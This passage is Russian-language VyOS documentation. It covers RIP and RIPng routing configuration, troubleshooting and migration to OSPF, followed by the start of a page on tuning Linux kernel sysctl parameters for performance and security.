**Более гибкая фильтрация**:

```
set policy prefix-list ALLOWED-IN rule 10 action permit
set policy prefix-list ALLOWED-IN rule 10 prefix 192.168.0.0/16 le 24

set protocols rip distribute-list interface eth0 prefix-list in ALLOWED-IN

commit
```

Принимать 192.168.0.0/16 и все подсети до /24.

## RIPng (IPv6)

RIPng - RIP для IPv6 сетей.

### RIPng Overview

**Характеристики**:
- Distance-vector для IPv6
- Multicast FF02::9
- UDP port 521 (vs 520 для RIPv2)
- Аналогичная логика RIPv2
- Hop count limit 15

**Применение**:
- Малые IPv6 сети
- Legacy IPv6 routing (современные сети используют OSPFv3/BGP)

### RIPng Basic Configuration

**Router 1**:
```
set protocols ripng interface eth0
set protocols ripng interface eth1
set protocols ripng network 2001:db8:1::/64
set protocols ripng network 2001:db8:2::/64

commit
save
```

**Router 2**:
```
set protocols ripng interface eth0
set protocols ripng interface eth2
set protocols ripng network 2001:db8:1::/64
set protocols ripng network 2001:db8:3::/64

commit
save
```

### RIPng Timers

```
set protocols ripng timers update 30
set protocols ripng timers timeout 180
set protocols ripng timers garbage-collection 120

commit
```

### RIPng Redistribution

**Connected networks**:
```
set protocols ripng redistribute connected
commit
```

**Static routes**:
```
set protocols ripng redistribute static
commit
```

**OSPFv3**:
```
set protocols ripng redistribute ospfv3
commit
```

### RIPng Default Route

```
set protocols ripng default-information originate
commit
```

### RIPng Aggregate Address

Суммирование IPv6 префиксов:

```
set protocols ripng aggregate-address 2001:db8::/32
commit
```

### RIPng Passive Interface

```
set protocols ripng interface eth2 passive
commit
```

### RIPng Split Horizon

```
set interfaces ethernet eth0 ipv6 ripng split-horizon disable
commit
```

**Poison reverse**:
```
set interfaces ethernet eth0 ipv6 ripng split-horizon poison-reverse
commit
```

## Configuration Examples

### Simple Two-Router RIP Network

**Топология**:
```
[Router1: eth0 192.168.1.1/24] --- [eth1 10.0.0.1/30 - 10.0.0.2/30 eth1] --- [Router2: eth0 192.168.2.1/24]
```

**Router 1**:
```
# Interfaces
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth1 address 10.0.0.1/30

# RIP
set protocols rip interface eth0
set protocols rip interface eth1

set protocols rip network 192.168.1.0/24
set protocols rip network 10.0.0.0/30

# Authentication
set interfaces ethernet eth1 ip rip authentication md5 1 password 'RipSecure2024!'

# Passive на LAN
set protocols rip interface eth0 passive

commit
save
```

**Router 2**:
```
# Interfaces
set interfaces ethernet eth0 address 192.168.2.1/24
set interfaces ethernet eth1 address 10.0.0.2/30

# RIP
set protocols rip interface eth0
set protocols rip interface eth1

set protocols rip network 192.168.2.0/24
set protocols rip network 10.0.0.0/30

# Authentication
set interfaces ethernet eth1 ip rip authentication md5 1 password 'RipSecure2024!'

# Passive на LAN
set protocols rip interface eth0 passive

commit
save
```

### RIP with Default Route

**Internet Gateway Router**:
```
# WAN interface
set interfaces ethernet eth0 address dhcp

# LAN interface
set interfaces ethernet eth1 address 192.168.1.1/24

# Static default route
set protocols static route 0.0.0.0/0 dhcp-interface eth0

# RIP
set protocols rip interface eth1
set protocols rip network 192.168.1.0/24

# Originate default
set protocols rip default-information originate

# Passive на LAN
set protocols rip interface eth1 passive

commit
save
```

**Branch Router**:
```
# WAN к gateway
set interfaces ethernet eth0 address 192.168.1.2/24

# LAN
set interfaces ethernet eth1 address 192.168.10.1/24

# RIP
set protocols rip interface eth0
set protocols rip interface eth1

set protocols rip network 192.168.1.0/24
set protocols rip network 192.168.10.0/24

set protocols rip interface eth1 passive

commit
save
```

### RIP Redistribution Example

**Core Router** (RIP + OSPF):
```
# Interfaces
set interfaces ethernet eth0 address 192.168.1.1/24
set interfaces ethernet eth1 address 10.0.0.1/30

# RIP domain
set protocols rip interface eth0
set protocols rip network 192.168.1.0/24

# OSPF domain
set protocols ospf parameters router-id 10.0.0.1
set protocols ospf interface eth1 area 0
set protocols ospf area 0 network 10.0.0.0/30

# Redistribute RIP в OSPF
set protocols ospf redistribute rip metric 100 metric-type 2

# Redistribute OSPF в RIP
set protocols rip redistribute ospf metric 5

commit
save
```

**Осторожно**: Возможны routing loops при двусторонней redistribution. Используйте route-maps.

### RIP через VPN (VTI)

**Site A**:
```
# VTI tunnel
set interfaces vti vti0 address 172.16.0.1/30

# IPsec VPN (настроить отдельно)

# RIP через VTI
set protocols rip interface vti0
set protocols rip network 172.16.0.0/30
set protocols rip network 192.168.1.0/24

# Authentication
set interfaces vti vti0 ip rip authentication md5 1 password 'VPN-RIP-Pass'

# LAN interface
set interfaces ethernet eth1 address 192.168.1.1/24
set protocols rip interface eth1 passive

commit
save
```

**Site B**:
```
# VTI tunnel
set interfaces vti vti0 address 172.16.0.2/30

# RIP через VTI
set protocols rip interface vti0
set protocols rip network 172.16.0.0/30
set protocols rip network 192.168.2.0/24

# Authentication
set interfaces vti vti0 ip rip authentication md5 1 password 'VPN-RIP-Pass'

# LAN interface
set interfaces ethernet eth1 address 192.168.2.1/24
set protocols rip interface eth1 passive

commit
save
```

### RIP Filtering Example

**HQ Router** (анонсирует только internal сети):
```
# Prefix list для фильтрации
set policy prefix-list INTERNAL-ONLY rule 10 action permit
set policy prefix-list INTERNAL-ONLY rule 10 prefix 192.168.0.0/16 le 24

set policy prefix-list INTERNAL-ONLY rule 20 action permit
set policy prefix-list INTERNAL-ONLY rule 20 prefix 10.0.0.0/8 le 24

# Применить к RIP outbound
set protocols rip distribute-list interface eth1 prefix-list out INTERNAL-ONLY

# RIP configuration
set protocols rip network 192.168.0.0/16
set protocols rip network 10.0.0.0/8

commit
save
```

### RIPng IPv6 Example

**Router 1**:
```
# IPv6 interfaces
set interfaces ethernet eth0 address 2001:db8:1::1/64
set interfaces ethernet eth1 address 2001:db8:100::1/64

# RIPng
set protocols ripng interface eth0
set protocols ripng interface eth1

set protocols ripng network 2001:db8:1::/64
set protocols ripng network 2001:db8:100::/64

# Passive на LAN
set protocols ripng interface eth0 passive

commit
save
```

**Router 2**:
```
# IPv6 interfaces
set interfaces ethernet eth0 address 2001:db8:2::1/64
set interfaces ethernet eth1 address 2001:db8:100::2/64

# RIPng
set protocols ripng interface eth0
set protocols ripng interface eth1

set protocols ripng network 2001:db8:2::/64
set protocols ripng network 2001:db8:100::/64

# Passive на LAN
set protocols ripng interface eth0 passive

commit
save
```

## Yandex Cloud Example: Legacy Network Migration

Сценарий: Миграция legacy RIP сети в Yandex Cloud с постепенным переходом на OSPF.

### Topology

```
Internet
   |
[Yandex Cloud VPC]
   |
[Gateway Router - RIP + OSPF]
   |
+--+----------+----------+
   |          |          |
[Legacy1]  [Legacy2]  [OSPF Zone]
 (RIP)      (RIP)      (OSPF)
```

### Gateway Router Configuration

**Gateway Router** (dual protocol):
```
# External interface
set interfaces ethernet eth0 address 10.128.0.10/24
set protocols static route 0.0.0.0/0 next-hop 10.128.0.1

# RIP zone interface
set interfaces ethernet eth1 address 192.168.1.1/24

# OSPF zone interface
set interfaces ethernet eth2 address 10.10.0.1/24

# Loopback
set interfaces loopback lo address 10.255.255.1/32

# RIP configuration
set protocols rip interface eth1
set protocols rip network 192.168.1.0/24

# RIP authentication
set interfaces ethernet eth1 ip rip authentication md5 1 password 'YC-RIP-Legacy2024'

# RIP passive
set protocols rip interface eth1 passive disable

# Default route в RIP
set protocols rip default-information originate

# OSPF configuration
set protocols ospf parameters router-id 10.255.255.1
set protocols ospf interface eth2 area 0
set protocols ospf area 0 network 10.10.0.0/24
set protocols ospf area 0 network 10.255.255.1/32

# OSPF authentication
set protocols ospf interface eth2 authentication md5 key-id 1 md5-key 'YC-OSPF-Secure'

# Redistribute RIP в OSPF (controlled)
set policy prefix-list RIP-TO-OSPF rule 10 action permit
set policy prefix-list RIP-TO-OSPF rule 10 prefix 192.168.0.0/16 le 24

set policy route-map RIP-TO-OSPF rule 10 action permit
set policy route-map RIP-TO-OSPF rule 10 match ip address prefix-list RIP-TO-OSPF

set protocols ospf redistribute rip route-map RIP-TO-OSPF metric 100 metric-type 2

# Redistribute OSPF в RIP (controlled)
set policy prefix-list OSPF-TO-RIP rule 10 action permit
set policy prefix-list OSPF-TO-RIP rule 10 prefix 10.10.0.0/16 le 24

set policy route-map OSPF-TO-RIP rule 10 action permit
set policy route-map OSPF-TO-RIP rule 10 match ip address prefix-list OSPF-TO-RIP

set protocols rip redistribute ospf route-map OSPF-TO-RIP metric 3

commit
save
```

### Legacy RIP Router

**Legacy Router** (только RIP):
```
# Management interface (Yandex Cloud)
set interfaces ethernet eth0 address dhcp

# LAN interface
set interfaces ethernet eth1 address 192.168.10.1/24

# Uplink к Gateway
set interfaces ethernet eth2 address 192.168.1.10/24

# RIP configuration
set protocols rip interface eth2
set protocols rip interface eth1

set protocols rip network 192.168.1.0/24
set protocols rip network 192.168.10.0/24

# Authentication
set interfaces ethernet eth2 ip rip authentication md5 1 password 'YC-RIP-Legacy2024'

# Passive на LAN
set protocols rip interface eth1 passive

commit
save
```

### Migration Plan

**Phase 1**: Dual protocol на Gateway (текущее состояние).

**Phase 2**: Перенести legacy routers один за другим:
```
# На каждом legacy router
delete protocols rip
set protocols ospf parameters router-id 192.168.10.1
set protocols ospf interface eth2 area 0
set protocols ospf area 0 network 192.168.1.0/24
set protocols ospf interface eth2 authentication md5 key-id 1 md5-key 'YC-OSPF-Secure'
commit
```

**Phase 3**: После миграции всех роутеров, удалить RIP с Gateway:
```
delete protocols rip
delete protocols ospf redistribute rip
commit
```

## VK Cloud Example: Small Office RIP Deployment

Сценарий: Простая малая офисная сеть на VK Cloud с RIP.

### Topology

```
[VK Cloud VPC 10.0.0.0/16]
          |
    [Main Router]
     10.0.1.1/24
          |
    +-----+-----+
    |           |
[Office1]   [Office2]
10.0.2.1/24  10.0.3.1/24
```

### Main Router Configuration

**Main Router**:
```
# Interfaces
set interfaces ethernet eth0 address 10.0.1.1/24
set interfaces ethernet eth1 address 10.0.10.1/30
set interfaces ethernet eth2 address 10.0.10.5/30

# Internet via VK Cloud NAT
set protocols static route 0.0.0.0/0 next-hop 10.0.1.254

# RIP configuration
set protocols rip interface eth1
set protocols rip interface eth2

set protocols rip network 10.0.10.0/30
set protocols rip network 10.0.10.4/30

# Authentication для безопасности
set interfaces ethernet eth1 ip rip authentication md5 1 password 'VKCloud-RIP-2024'
set interfaces ethernet eth2 ip rip authentication md5 1 password 'VKCloud-RIP-2024'

# Default route в RIP для branch offices
set protocols rip default-information originate

# Timers (aggressive для малой сети)
set protocols rip timers update 15
set protocols rip timers timeout 90
set protocols rip timers garbage-collection 60

commit
save
```

### Office Router 1

```
# Interfaces
set interfaces ethernet eth0 address 10.0.2.1/24
set interfaces ethernet eth1 address 10.0.10.2/30

# RIP
set protocols rip interface eth0
set protocols rip interface eth1

set protocols rip network 10.0.2.0/24
set protocols rip network 10.0.10.0/30

# Authentication
set interfaces ethernet eth1 ip rip authentication md5 1 password 'VKCloud-RIP-2024'

# Passive на LAN
set protocols rip interface eth0 passive

# Timers (match main router)
set protocols rip timers update 15
set protocols rip timers timeout 90
set protocols rip timers garbage-collection 60

# NAT для выхода в интернет
set nat source rule 100 outbound-interface name eth1
set nat source rule 100 source address 10.0.2.0/24
set nat source rule 100 translation address masquerade

commit
save
```

### Office Router 2

```
# Interfaces
set interfaces ethernet eth0 address 10.0.3.1/24
set interfaces ethernet eth1 address 10.0.10.6/30

# RIP
set protocols rip interface eth0
set protocols rip interface eth1

set protocols rip network 10.0.3.0/24
set protocols rip network 10.0.10.4/30

# Authentication
set interfaces ethernet eth1 ip rip authentication md5 1 password 'VKCloud-RIP-2024'

# Passive на LAN
set protocols rip interface eth0 passive

# Timers
set protocols rip timers update 15
set protocols rip timers timeout 90
set protocols rip timers garbage-collection 60

# NAT
set nat source rule 100 outbound-interface name eth1
set nat source rule 100 source address 10.0.3.0/24
set nat source rule 100 translation address masquerade

commit
save
```

### Firewall для RIP

На всех роутерах:
```
# Allow RIP multicast (224.0.0.9)
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 destination address 224.0.0.9
set firewall ipv4 input filter rule 100 protocol udp
set firewall ipv4 input filter rule 100 destination port 520

# Allow from specific interfaces only
set firewall ipv4 input filter rule 100 inbound-interface interface-name eth1

commit
```

## Verification Commands

### Show RIP Status

**Общий статус RIP**:
```
show ip rip status
```

Вывод:
```
Routing Protocol is "rip"
  Sending updates every 30 seconds with +/-50%, next due in 18 seconds
  Timeout after 180 seconds, garbage collect after 120 seconds
  Outgoing update filter list for all interfaces is not set
  Incoming update filter list for all interfaces is not set
  Default redistribution metric is 1
  Redistributing: connected, static
  Default version control: send version 2, receive version 2
  Interface        Send  Recv  Key-chain
  eth0              2     2
  eth1              2     2
  Routing for Networks:
    192.168.1.0/24
    192.168.2.0/24
    10.0.0.0/8
  Routing Information Sources:
    Gateway          BadPackets BadRoutes  Distance Last Update
    192.168.1.2             0         0       120   00:00:05
  Distance: (default is 120)
```

### Show RIP Routes

**RIP routing table**:
```
show ip rip
```

Вывод:
```
Codes: R - RIP, C - connected, S - Static, O - OSPF, B - BGP
       > - selected route, * - FIB route

R>* 192.168.2.0/24 [120/1] via 192.168.1.2, eth0, 00:00:15
R>* 192.168.3.0/24 [120/2] via 192.168.1.2, eth0, 00:00:15
R>* 10.10.0.0/24 [120/1] via 192.168.1.2, eth0, 00:00:15
```

### Show RIP Database

**RIP database entries**:
```
show ip protocols
```

Информация о всех routing protocols включая RIP.

### Show IP Route

**Все маршруты** (включая RIP):
```
show ip route
```

**Только RIP маршруты**:
```
show ip route rip
```

Вывод:
```
Codes: K - kernel route, C - connected, S - static, R - RIP,
       O - OSPF, I - IS-IS, B - BGP, E - EIGRP, N - NHRP,
       T - Table, v - VNC, V - VNC-Direct, A - Babel, D - SHARP,
       F - PBR, f - OpenFabric,
       > - selected route, * - FIB route, q - queued, r - rejected, b - backup

R>* 192.168.2.0/24 [120/1] via 192.168.1.2, eth0, weight 1, 00:02:15
R>* 192.168.3.0/24 [120/2] via 192.168.1.2, eth0, weight 1, 00:02:15
```

### Show RIP Interface

**RIP на интерфейсах**:
```
show ip rip interface
```

### Debug RIP

**Enable RIP debugging**:
```
monitor protocol rip
```

**RIP packet debug**:
```
debug rip packet
```

**RIP events**:
```
debug rip events
```

**Остановить debug**:
```
no debug rip all
```

### Clear RIP Routes

**Clear RIP process** (restart):
```
restart rip
```

Удаляет все learned routes и перезапускает RIP процесс.

## Troubleshooting

### RIP Neighbors не видны

**Проверка 1 - Connectivity**:
```
ping <neighbor-ip>
```

**Проверка 2 - RIP процесс активен**:
```
show ip rip status
```

**Проверка 3 - Network statements**:
```
show configuration protocols rip
```

Убедитесь, что интерфейсы включены в RIP:
```
set protocols rip interface eth0
set protocols rip network 192.168.1.0/24
```

**Проверка 4 - Authentication**:
```
show configuration interfaces ethernet eth0 ip rip authentication
```

Authentication должна совпадать на обоих роутерах.

**Проверка 5 - Firewall**:
```
# Allow RIP (UDP 520)
set firewall ipv4 input filter rule 100 action accept
set firewall ipv4 input filter rule 100 destination address 224.0.0.9
set firewall ipv4 input filter rule 100 protocol udp
set firewall ipv4 input filter rule 100 destination port 520
commit
```

**Проверка 6 - Multicast**:
```
tcpdump -i eth0 -n 'udp port 520'
```

Должны видеть RIP updates каждые 30 секунд.

### Routes не появляются

**Проверка 1 - RIP database**:
```
show ip rip
```

Маршрут есть в RIP, но не в routing table?

**Проверка 2 - Administrative Distance**:
```
show ip route <network>
```

Возможно другой протокол (OSPF, static) имеет лучший distance.

**Проверка 3 - Hop count**:
```
show ip rip
```

Если metric 16 - маршрут unreachable (слишком далеко).

**Проверка 4 - Split horizon**:
```
set interfaces ethernet eth0 ip rip split-horizon disable
commit
```

Попробуйте отключить split horizon (для hub-and-spoke).

**Проверка 5 - Distribute list**:
```
show configuration protocols rip distribute-list
```

Возможно route filter блокирует маршрут.

### Slow Convergence

RIP convergence медленная (до 3 минут).

**Решение 1 - Aggressive timers**:
```
set protocols rip timers update 10
set protocols rip timers timeout 60
set protocols rip timers garbage-collection 40
commit
```

**Осторожно**: Увеличивает нагрузку на сеть.

**Решение 2 - Poison reverse**:
```
set interfaces ethernet eth0 ip rip split-horizon poison-reverse
commit
```

**Решение 3 - Migrate to OSPF**:

RIP не подходит для сетей требующих быструю конвергенцию. Используйте OSPF.

### Authentication Failures

**Проверка 1 - Logs**:
```
show log | grep RIP
```

Ищите "authentication failed" сообщения.

**Проверка 2 - Passwords match**:
```
# Router 1
show configuration interfaces ethernet eth0 ip rip authentication

# Router 2
show configuration interfaces ethernet eth0 ip rip authentication
```

Пароли и key-id должны совпадать.

**Проверка 3 - Key rotation**:

Если меняете пароли, добавьте новый key ID перед удалением старого:
```
# Добавить новый
set interfaces ethernet eth0 ip rip authentication md5 2 password 'NewPassword'
commit

# После обновления всех роутеров, удалить старый
delete interfaces ethernet eth0 ip rip authentication md5 1
commit
```

### Routing Loops

**Проблема**: Пакеты ходят по кругу между роутерами.

**Решение 1 - Split horizon**:
```
# Убедитесь, что split horizon включен (по умолчанию)
delete interfaces ethernet eth0 ip rip split-horizon disable
commit
```

**Решение 2 - Maximum hop count**:

RIP автоматически ограничивает loops через hop count (max 15).

**Решение 3 - Administrative distance**:

Если используете redistribution между RIP и другими протоколами:
```
set protocols rip distance 120
set protocols ospf distance global 110
commit
```

### High Network Traffic

RIP создает постоянный трафик (updates каждые 30 сек).

**Решение 1 - Passive interfaces**:
```
set protocols rip interface eth2 passive
commit
```

**Решение 2 - Unicast neighbors**:
```
set protocols rip neighbor 192.168.1.2
delete protocols rip interface eth0
commit
```

**Решение 3 - Increase update interval**:
```
set protocols rip timers update 60
commit
```

**Осторожно**: Замедляет конвергенцию.

**Решение 4 - Migrate to OSPF**:

OSPF использует triggered updates вместо periodic.

## Best Practices

### General Recommendations

1. **Use RIPv2** (не RIPv1):
   ```
   set protocols rip version 2
   ```

2. **MD5 Authentication** на всех интерфейсах:
   ```
   set interfaces ethernet eth0 ip rip authentication md5 1 password 'StrongPassword'
   ```

3. **Passive interfaces** для LAN:
   ```
   set protocols rip interface eth1 passive
   ```

4. **Limit network size** - максимум 10-15 роутеров

5. **Use default route** на branch routers:
   ```
   set protocols rip default-information originate
   ```

6. **Filter redistributed routes**:
   ```
   set protocols rip redistribute connected route-map CONNECTED-FILTER
   ```

7. **Monitor hop count** - не допускайте близости к 15

8. **Document network topology** - RIP не имеет database visibility

9. **Plan migration to OSPF** для growing networks

10. **Regular backups** конфигурации

### Security Best Practices

1. **Always use MD5 authentication**:
   ```
   set interfaces ethernet eth0 ip rip authentication md5 1 password 'Secure123!'
   ```

2. **Passive interfaces по умолчанию**:
   ```
   set protocols rip passive-interface default
   set protocols rip passive-interface eth0 disable
   ```

3. **Firewall для RIP**:
   ```
   set firewall ipv4 input filter rule 100 action accept
   set firewall ipv4 input filter rule 100 source address 192.168.1.0/24
   set firewall ipv4 input filter rule 100 destination address 224.0.0.9
   set firewall ipv4 input filter rule 100 protocol udp
   set firewall ipv4 input filter rule 100 destination port 520
   ```

4. **Filter redistributed routes**:
   ```
   set protocols rip distribute-list interface eth0 prefix-list ALLOWED-OUT out
   ```

5. **Limit network statements** - только нужные сети

### Performance Best Practices

1. **Default timers** для большинства случаев:
   ```
   set protocols rip timers update 30
   set protocols rip timers timeout 180
   set protocols rip timers garbage-collection 120
   ```

2. **Poison reverse** для faster convergence:
   ```
   set interfaces ethernet eth0 ip rip split-horizon poison-reverse
   ```

3. **Summarization** где возможно (хотя RIPv2 не имеет explicit summarization)

4. **Unicast neighbors** для reducing multicast:
   ```
   set protocols rip neighbor 192.168.1.2
   ```

5. **Monitor metrics**:
   ```
   show ip rip
   ```

### Migration Best Practices

**From RIP to OSPF**:

1. **Dual protocol phase**:
   ```
   # Keep RIP running
   set protocols rip network 192.168.0.0/16

   # Add OSPF
   set protocols ospf parameters router-id 10.0.0.1
   set protocols ospf area 0 network 10.0.0.0/8

   # Redistribute both ways (temporary)
   set protocols rip redistribute ospf metric 5
   set protocols ospf redistribute rip metric 100
   ```

2. **Migrate routers one by one**

3. **Remove RIP after all migrated**:
   ```
   delete protocols rip
   delete protocols ospf redistribute rip
   ```

**From RIP to static routes** (small networks):

1. **Document current RIP routes**:
   ```
   show ip rip
   ```

2. **Create static routes**:
   ```
   set protocols static route 192.168.2.0/24 next-hop 192.168.1.2
   ```

3. **Disable RIP**:
   ```
   delete protocols rip
   ```

## When to Migrate from RIP

### Signs You Need OSPF/BGP

1. **Network growth** - more than 10 routers
2. **Slow convergence** - unacceptable downtime
3. **Multiple paths** - need load balancing
4. **VLSMs required** - complex subnetting
5. **Hop count limit** - hitting 15 hop barrier
6. **High bandwidth links** - need better metrics
7. **Large routing tables** - RIP updates too big
8. **Require fast failover** - seconds not minutes
9. **Integration with ISP** - need BGP
10. **Security requirements** - need better authentication

### Migration Path

**Small networks (2-5 routers)**:
```
RIP → Static Routes
```

**Medium networks (5-20 routers)**:
```
RIP → OSPF (single area)
```

**Large networks (20+ routers)**:
```
RIP → OSPF (multi-area) → BGP for external
```

**Cloud deployments**:
```
RIP → Cloud-native routing (VPC routing tables + BGP)
```

## Comparison with Other Protocols

### RIP vs OSPF

| Feature | RIP | OSPF |
|---------|-----|------|
| Algorithm | Distance-vector | Link-state |
| Metric | Hop count | Cost (bandwidth) |
| Max hops | 15 | No limit |
| Convergence | Slow (minutes) | Fast (seconds) |
| Scalability | Small (10-15) | Large (100+) |
| CPU usage | Low | Medium |
| Configuration | Simple | Complex |
| Updates | Periodic (30s) | Triggered |
| VLSM | RIPv2 yes | Yes |
| Areas | No | Yes |

**Recommendation**: Use OSPF for any network with more than 10 routers.

### RIP vs BGP

**RIP** - Interior Gateway Protocol (IGP) для internal routing.

**BGP** - Exterior Gateway Protocol (EGP) для inter-AS routing.

**Use case**:
- RIP - small internal networks
- BGP - ISP connectivity, multi-homed networks

### RIP vs Static Routes

| Feature | RIP | Static Routes |
|---------|-----|---------------|
| Configuration | Automatic | Manual |
| Failover | Automatic | Manual or with tracking |
| Scalability | Low | Very low |
| Convergence | Slow | Instant (if tracked) |
| Maintenance | Low | High |

**When to use static**:
- 2-3 routers
- No redundancy needed
- Predictable topology

**When to use RIP**:
- 5-15 routers
- Some redundancy
- Simple failover needed

## Summary

**RIP Summary**:
- Simple distance-vector protocol
- Suitable for small networks (5-15 routers)
- Maximum 15 hops
- Slow convergence (minutes)
- Use RIPv2 with MD5 authentication
- Passive interfaces on LAN
- Plan migration to OSPF as network grows

**Key Commands**:
```
# Enable RIP
set protocols rip interface <interface>
set protocols rip network <network>

# Authentication
set interfaces ethernet <int> ip rip authentication md5 <id> password '<pass>'

# Passive interface
set protocols rip interface <int> passive

# Default route
set protocols rip default-information originate

# Verification
show ip rip
show ip rip status
show ip route rip
```

**Migration Path**:
```
Small network: RIP → Static Routes
Growing network: RIP → OSPF
Large network: RIP → OSPF + BGP
```

## Next Steps

- [OSPF Configuration](/docs/vyos/routing/vyos-ospf) - для growing networks
- [BGP Configuration](/docs/vyos/routing/vyos-bgp) - для ISP connectivity
- [Static Routes](/docs/vyos/routing/vyos-static) - базовая маршрутизация
- [Policy Routing](/docs/vyos/policy/) - route-maps и filtering


---

# Sysctl - Параметры ядра Linux

Source: https://opennix.org/docs/vyos/system/vyos-sysctl/


Данная страница описывает настройку параметров ядра Linux в VyOS через интерфейс sysctl. Параметры ядра позволяют изменять поведение системы на низком уровне для оптимизации производительности, безопасности и функциональности сети.

## Обзор

### Что такое sysctl

Sysctl - это механизм для модификации параметров ядра Linux во время работы системы (runtime) без перезагрузки. В VyOS sysctl используется для:

- **Оптимизации сетевой производительности** (буферы TCP/UDP, backlog, congestion control)
- **Усиления безопасности** (защита от spoofing, SYN flood, ICMP redirects)
- **Настройки IPv4/IPv6** (forwarding, routing, multicast)
- **Управления памятью** (swappiness, cache pressure, OOM behavior)
- **Файловой системы** (максимум открытых файлов, inotify limits)
- **Kernel behavior** (panic, core dumps, randomization)

### Архитектура sysctl в VyOS

```
VyOS Configuration
       |
       v
/opt/vyatta/etc/config/scripts/
       |
       v
/etc/sysctl.d/99-vyos.conf
       |
       v
/proc/sys/* (kernel runtime parameters)
```

**Важно:**
- Параметры sysctl в VyOS сохраняются в конфигурации и применяются при каждой загрузке
- Изменения применяются немедленно после commit без перезагрузки
- Не редактируйте `/etc/sysctl.conf` или `/proc/sys/*` вручную - используйте VyOS конфигурацию
- VyOS автоматически генерирует `/etc/sysctl.d/99-vyos.conf` из своей конфигурации

### Структура параметров sysctl

Параметры sysctl организованы в иерархическую структуру:

```
/proc/sys/
├── net/                    # Сетевые параметры
│   ├── ipv4/              # IPv4 настройки
│   ├── ipv6/              # IPv6 настройки
│   ├── core/              # Общие сетевые параметры
│   └── netfilter/         # Netfilter/iptables
├── vm/                     # Виртуальная память
├── fs/                     # Файловая система
├── kernel/                 # Ядро системы
└── dev/                    # Устройства
```

## Базовая конфигурация

### Синтаксис команды

```bash
set system sysctl parameter <parameter-name> value <value>
```

**Формат параметра:**
- Точечная нотация: `net.ipv4.ip_forward`
- Слэш нотация (в `/proc/sys/`): `/proc/sys/net/ipv4/ip_forward`
- В VyOS используется только точечная нотация

### Основные примеры

#### Включение IP forwarding для роутера

```bash
# IPv4 forwarding (обязательно для роутера)
set system sysctl parameter net.ipv4.ip_forward value 1

# IPv6 forwarding
set system sysctl parameter net.ipv6.conf.all.forwarding value 1

commit
save
```

#### Отключение ICMP redirects (безопасность)

```bash
# Запретить принимать ICMP redirects
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0

# Запретить отправлять ICMP redirects
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0

commit
save
```

#### Защита от IP spoofing (Reverse Path Filtering)

```bash
# Strict mode (рекомендуется для большинства случаев)
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
set system sysctl parameter net.ipv4.conf.default.rp_filter value 1

commit
save
```

#### Увеличение размеров TCP буферов

```bash
# Минимальный, базовый и максимальный размеры (в байтах)
set system sysctl parameter net.ipv4.tcp_rmem value '4096 87380 16777216'
set system sysctl parameter net.ipv4.tcp_wmem value '4096 65536 16777216'

commit
save
```

## Категории параметров sysctl

### 1. Сетевые параметры IPv4 (net.ipv4.*)

#### IP Forwarding и Routing

```bash
# Включить IP forwarding (необходимо для роутера)
set system sysctl parameter net.ipv4.ip_forward value 1

# Разрешить нелокальный bind (для failover/VRRP)
set system sysctl parameter net.ipv4.ip_nonlocal_bind value 1

# Динамический выбор локального порта
set system sysctl parameter net.ipv4.ip_local_port_range value '1024 65535'
```

#### TCP Performance Tuning

**TCP Window Scaling:**

```bash
# Включить window scaling (RFC 1323)
set system sysctl parameter net.ipv4.tcp_window_scaling value 1

# Размеры буферов TCP read
set system sysctl parameter net.ipv4.tcp_rmem value '4096 87380 16777216'

# Размеры буферов TCP write
set system sysctl parameter net.ipv4.tcp_wmem value '4096 65536 16777216'

# Максимальный размер буфера (16 MB)
set system sysctl parameter net.core.rmem_max value 16777216
set system sysctl parameter net.core.wmem_max value 16777216
```

**TCP Congestion Control:**

```bash
# Алгоритм congestion control (bbr, cubic, reno)
set system sysctl parameter net.ipv4.tcp_congestion_control value 'bbr'

# Доступные алгоритмы
set system sysctl parameter net.ipv4.tcp_allowed_congestion_control value 'bbr cubic reno'
```

**TCP Keepalive:**

```bash
# Время до начала keepalive проверок (секунды)
set system sysctl parameter net.ipv4.tcp_keepalive_time value 600

# Интервал между keepalive пробами
set system sysctl parameter net.ipv4.tcp_keepalive_intvl value 60

# Количество попыток keepalive
set system sysctl parameter net.ipv4.tcp_keepalive_probes value 3
```

**TCP Timestamps:**

```bash
# Включить TCP timestamps (RFC 1323)
set system sysctl parameter net.ipv4.tcp_timestamps value 1
```

**TCP Fast Open:**

```bash
# Включить TCP Fast Open (TFO)
# 1 = client, 2 = server, 3 = both
set system sysctl parameter net.ipv4.tcp_fastopen value 3
```

#### TCP Security Parameters

**SYN Flood Protection:**

```bash
# Включить SYN cookies (защита от SYN flood)
set system sysctl parameter net.ipv4.tcp_syncookies value 1

# Максимум SYN backlog
set system sysctl parameter net.ipv4.tcp_max_syn_backlog value 8192

# Количество SYN retries
set system sysctl parameter net.ipv4.tcp_syn_retries value 2
set system sysctl parameter net.ipv4.tcp_synack_retries value 2
```

**TCP Reuse and Recycle:**

```bash
# Разрешить повторное использование TIME-WAIT сокетов
set system sysctl parameter net.ipv4.tcp_tw_reuse value 1

# Время жизни orphan соединений (секунды)
set system sysctl parameter net.ipv4.tcp_fin_timeout value 30

# Максимум orphan sockets
set system sysctl parameter net.ipv4.tcp_max_orphans value 65536
```

#### ICMP Parameters

```bash
# Игнорировать ICMP echo requests (ping)
set system sysctl parameter net.ipv4.icmp_echo_ignore_all value 0

# Игнорировать broadcast ping
set system sysctl parameter net.ipv4.icmp_echo_ignore_broadcasts value 1

# Ограничение rate ICMP ответов (для защиты от flood)
set system sysctl parameter net.ipv4.icmp_ratelimit value 100

# Запретить ICMP redirects (безопасность)
set system sysctl parameter net.ipv4.conf.all.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.default.accept_redirects value 0
set system sysctl parameter net.ipv4.conf.all.send_redirects value 0
set system sysctl parameter net.ipv4.conf.default.send_redirects value 0

# Запретить source routing
set system sysctl parameter net.ipv4.conf.all.accept_source_route value 0
set system sysctl parameter net.ipv4.conf.default.accept_source_route value 0
```

#### Reverse Path Filtering (Anti-Spoofing)

```bash
# rp_filter modes:
# 0 = disabled
# 1 = strict mode (recommended for most cases)
# 2 = loose mode (for asymmetric routing)

# Strict mode (проверяет обратный маршрут)
set system sysctl parameter net.ipv4.conf.all.rp_filter value 1
